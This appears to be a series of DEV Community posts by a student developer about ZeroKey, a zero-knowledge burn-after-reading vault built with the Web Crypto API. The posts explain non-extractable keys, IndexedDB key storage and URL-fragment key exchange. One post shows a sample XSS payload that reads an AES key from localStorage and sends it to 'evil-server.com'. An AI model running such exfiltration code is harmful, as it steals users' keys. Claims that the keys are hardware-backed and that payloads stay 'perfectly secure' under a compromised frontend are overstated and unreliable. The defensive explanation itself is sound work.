DEV Community: Unknown

The 1 Line of JavaScript That Saves Your E2EE App from XSS

Unknown — Tue, 21 Apr 2026 17:36:22 +0000

Hey everyone! 👋 I’m a student currently studying for my board exams, and in my free time, I’ve been building a zero-knowledge "burn-after-reading" vault called ZeroKey.

While building the client-side encryption engine, I stumbled upon a massive vulnerability that most developers accidentally leave wide open when building End-to-End Encrypted (E2EE) apps: Key Exfiltration via XSS.

Here is how it happens, and the 1-line Web Crypto API feature I used to stop it.

The Key Exfiltration Threat 🛑
You can have perfectly implemented AES-GCM encryption. Your server might never see a single plaintext byte. But if a malicious Chrome extension or a zero-day XSS attack injects JavaScript into your page, they don't need to break your math. They just read your variables.

When developers build E2EE web apps, they usually store the encryption key in a JavaScript variable, React State, or localStorage. If an attacker gets XSS execution, they run this:

JavaScript
// A hacker's injected script steals your key instantly
const stolenKey = window.localStorage.getItem('my_aes_key');
fetch('https://evil-server.com/steal', { method: 'POST', body: stolenKey });

Game over. Your zero-knowledge architecture is compromised.

The Solution: Non-Extractable Keys 🔐
The native Web Crypto API has a brilliant, hardware-backed security feature designed specifically to defeat this attack: extractable: false.

When you generate or import a key as "non-extractable," the raw key material is pushed deep into the browser's cryptographic boundary (often utilizing OS-level secure enclaves like the TPM on Windows or Secure Enclave on Macs).

Your JavaScript code can pass this CryptoKey object to crypto.subtle.encrypt() to do the math, but the browser will throw a fatal error if any script attempts to read, print, or export the raw key.

Implementation in JavaScript
Here is how to properly import a user's password into a completely unreadable CryptoKey object. Notice the false boolean parameter:

JavaScript
// Securing the key during derivation/import
async function deriveSecureKey(passwordStr, saltBuffer) {
    const enc = new TextEncoder();

    const keyMaterial = await window.crypto.subtle.importKey(
        "raw", 
        enc.encode(passwordStr), 
        { name: "PBKDF2" }, 
        false, // <-- CRITICAL: Key material cannot be extracted
        ["deriveKey"]
    );

    return await window.crypto.subtle.deriveKey(
        { name: "PBKDF2", salt: saltBuffer, iterations: 100000, hash: "SHA-256" },
        keyMaterial, 
        { name: "AES-GCM", length: 256 }, 
        false, // <-- CRITICAL: Derived AES key cannot be extracted
        ["encrypt", "decrypt"]
    );
}

How do you save it for later? 💾
If the key is non-extractable, how do you save it so the user doesn't have to type their password on every single page load?

You can't put it in localStorage because localStorage only accepts strings, and the browser refuses to turn this key into a string!

The answer is IndexedDB.

Modern browsers allow you to store raw CryptoKey objects directly into IndexedDB using the Structured Clone Algorithm. The key remains safely inside the browser's secure boundary, surviving page reloads without ever exposing the raw bytes to the JavaScript context.

JavaScript
// Storing a CryptoKey securely in IndexedDB
const request = indexedDB.open("SecureVault", 1);

request.onsuccess = function(event) {
    const db = event.target.result;
    const transaction = db.transaction(["Keys"], "readwrite");
    const objectStore = transaction.objectStore("Keys");

    // cryptoKey is our non-extractable key
    // It goes into the database as an opaque object
    objectStore.put(cryptoKey, "MasterAESKey"); 
};

Bulletproof Zero-Knowledge 🚀
I implemented this exact architecture in ZeroKey to ensure that even if the frontend is somehow compromised by a rogue NPM package, user payloads remain perfectly secure.

If you want to see how this interacts with PostgreSQL RLS and URL Fragment hashing, I open-sourced the whole project:

💻 GitHub Repo: www.github.com/kdippan/zerokey
🌐 Live App: www.zerokey.vercel.app

As a rising developer, I would absolutely love any feedback, code reviews, or stars on GitHub from the security engineers here! Let me know how you handle client-side key storage in your apps in the comments. 👇

How to Build a Zero-Knowledge, Burn-After-Reading Vault with the Web Crypto API

Unknown — Thu, 12 Mar 2026 09:59:22 +0000

Data privacy is one of the most critical challenges in modern web development. When building secure messaging apps or file-sharing tools, developers often rely on server-side encryption. The fatal flaw in this approach is that the server still holds the decryption keys. If the database is compromised, the plaintext data is exposed.

To solve this, I built ZeroKey, an open-source, end-to-end encrypted (E2EE), burn-after-reading payload delivery system.

In this tutorial, I will break down the zero-knowledge architecture behind ZeroKey and explain how you can implement client-side AES-256-GCM encryption using the native Web Crypto API, Vercel Serverless Functions, and Supabase Row Level Security (RLS).

The Architecture of a Zero-Knowledge Application

A true zero-knowledge architecture guarantees that the server routing the data mathematically cannot read the payload. To achieve this, ZeroKey relies on three core security pillars:

Client-Side Cryptography: Data is encrypted in the browser before network transmission.
URL Fragment Key Exchange: The decryption key is passed via the URL hash, which browsers never send to the server.
Hard Data Destruction: A read-once, burn-after-reading protocol ensures zero data retention.

Let's break down the implementation.

1. Client-Side Encryption with AES-256-GCM

Instead of relying on third-party cryptographic libraries that increase bundle size and introduce supply chain risks, ZeroKey uses the browser's native window.crypto.subtle API.

When a user creates a payload, the application generates a secure 16-byte salt and a 12-byte Initialization Vector (IV). Using PBKDF2 with 100,000 SHA-256 iterations, we derive a robust 256-bit cryptographic key from an auto-generated or user-provided PIN.

Here is a simplified look at the encryption implementation:

async function encryptPayload(dataBuffer, key) {
    // Generate a cryptographically secure random IV
    const iv = window.crypto.getRandomValues(new Uint8Array(12));

    // Encrypt the payload using AES-256-GCM
    const encryptedContent = await window.crypto.subtle.encrypt(
        { name: "AES-GCM", iv: iv }, 
        key, 
        dataBuffer
    );

    return { 
        encryptedBase64: bufferToBase64(encryptedContent), 
        ivBase64: bufferToBase64(iv) 
    };
}

This guarantees that the payload is converted into unreadable ciphertext before any API requests are made.

Zero-Knowledge Routing via URL Fragments The biggest challenge in E2EE is key exchange. How do we give the recipient the decryption key without the server intercepting it? ZeroKey utilizes a fundamental mechanic of web browsers: the URL fragment. When a secure link is generated, it looks like this:

https://zerokey.vercel.app/view?id=[UUID]&iv=[Base64]&salt=[Base64]#[Decryption_Key]

According to HTTP specifications, browsers do not transmit the fragment identifier (anything following the # symbol) to the server. The Vercel routing layer and the Supabase database only receive the ciphertext, the UUID, the salt, and the IV. The decryption key remains securely isolated in the client's local memory, allowing the recipient's device to execute the AES-GCM decryption locally.

Securing the Database with Supabase RLS Storing encrypted data still presents a risk if an attacker can continuously query the database. To mitigate this, ZeroKey utilizes Supabase Row Level Security (RLS). The PostgreSQL database is entirely locked down from public access. The frontend cannot execute direct read or write operations. Instead, the application communicates exclusively with Vercel Serverless API routes. These Node.js functions utilize a secure Service Role key to bypass RLS, ensuring that database transactions are strictly controlled by backend logic.
The Burn-After-Reading Protocol To ensure strict zero data retention, payloads must not persist after being consumed. When the recipient opens the link and successfully decrypts the payload locally, the frontend fires an asynchronous destruction signal to the /api/destroySecret serverless function. This triggers a hard DELETE command on both the PostgreSQL row and any associated media blobs in the Supabase Storage bucket. If the link is clicked a second time, a 404 response is returned. The data is permanently purged. Review the Code Building this project was an incredible dive into applied cryptography and secure full-stack architecture. By combining the Web Crypto API with modern serverless infrastructure, developers can build tools that prioritize user privacy by default. The entire ZeroKey project is open-source. I encourage security researchers, web developers, and cryptography enthusiasts to review the codebase, test the architecture, or contribute to the project.
- GitHub Repository: github.com/kdippan/zerokey
- Live Application: zerokey.vercel.app Have you implemented the Web Crypto API in your own projects? I would love to hear your thoughts on this architecture in the comments below.

How I Built a Zero-Knowledge "Burn-After-Reading" Vault using the Web Crypto API

Unknown — Thu, 12 Mar 2026 09:54:29 +0000

As a student developer, I wanted to deeply understand cryptography and backend security. I noticed a glaring issue with many popular "secure" file-sharing and messaging platforms: they handle your decryption keys on their backend.

If their servers get breached, or if an administrator decides to look, your data is compromised.

I wanted to build an architecture where the server mathematically cannot read the payloads passing through it. To solve this, I built ZeroKey, an open-source, end-to-end encrypted, burn-after-reading payload delivery system.

Here is a breakdown of how I built it using Vanilla JavaScript, Vercel, and Supabase.

The Tech Stack

Frontend: Vanilla JS, HTML5, Tailwind CSS
Cryptography: Native Web Crypto API (window.crypto.subtle)
Backend: Vercel Serverless Functions (Node.js)
Database: Supabase (PostgreSQL & Storage)

1. Client-Side Encryption (AES-256-GCM)

The golden rule of ZeroKey is that plaintext never leaves the browser.

When a user enters a secret or attaches a file (up to 2MB), the frontend uses window.crypto.getRandomValues to generate a secure 16-byte salt and a 12-byte Initialization Vector (IV).

If the user provides a custom PIN, I use PBKDF2 with 100,000 SHA-256 iterations to derive a robust 256-bit cryptographic key. The payload is then encrypted using AES-256-GCM.

2. The URL Fragment Exploit (Zero-Knowledge Routing)

How do you share the decryption key with the recipient without sending it to the database? You use the URL fragment.

When ZeroKey generates a shareable link, it looks like this:
https://zerokey.vercel.app/view?id=[UUID]&iv=[Base64]&salt=[Base64]#[Decryption_Key]

By design, web browsers do not send the URL fragment (anything after the # symbol) to the server. When the recipient clicks the link, Vercel and Supabase only see the id, iv, and salt. The actual decryption key remains entirely on the client side, allowing the recipient's browser to execute the AES-GCM decryption locally.

The server is completely blind.

3. True Burn-After-Reading (Supabase RLS)

To ensure zero data retention, the Supabase database is locked down strictly using Row-Level Security (RLS). The public internet has zero access to read or write data.

Instead, the frontend communicates with Vercel Serverless Functions. Once the recipient's browser successfully decrypts the payload, it sends a destruction signal to a Vercel API route. This route uses a secure Service Role key to execute a hard DELETE command on both the PostgreSQL row and the encrypted Supabase Storage blob.

If a third party intercepts the link after it has been opened, there is nothing left to fetch.

4. Extra Security Layers

To make the vault even more secure, I implemented:

Geofencing: Senders can lock the decryption to a 50-meter radius of their current GPS coordinates using the Geolocation API.
Anti-Bot Gates: Social media apps (like WhatsApp or iMessage) often send bots to "preview" links, which would accidentally trigger the burn protocol. I implemented a biometric/human-verification gate before the database is ever queried.

The Code

Building this taught me more about security pipelines than any textbook. The entire project is open-source, and I would genuinely appreciate code reviews, architectural critiques, or pull requests from the community.

Live Demo: zerokey.vercel.app
GitHub Repository: github.com/kdippan/zerokey

Let me know what you think of the architecture in the comments. Have you ever worked with the Web Crypto API?

Most secure apps still read your data. I fixed that. Meet ZeroKey: a zero-knowledge, burn-after-reading vault. AES-256-GCM encryption runs locally. Keys never touch the server. Live: https://zerokey.vercel.app Code: http://github.com/kdippan/zerokey

Unknown — Thu, 12 Mar 2026 09:48:08 +0000

ZeroKey | Secure, Zero-Knowledge Encrypted Payload Delivery

Share secrets without leaving a trace. Client-side encryption, zero-knowledge architecture, and self-destructing media.

zerokey.vercel.app

GitHub - kdippan/ZeroKey: A paranoid-grade, zero-knowledge payload delivery system. Share encrypted secrets and files that self-destruct upon reading. Built with client-side AES-256-GCM and the native Web Crypto API. · GitHub

A paranoid-grade, zero-knowledge payload delivery system. Share encrypted secrets and files that self-destruct upon reading. Built with client-side AES-256-GCM and the native Web Crypto API. - kdi...

github.com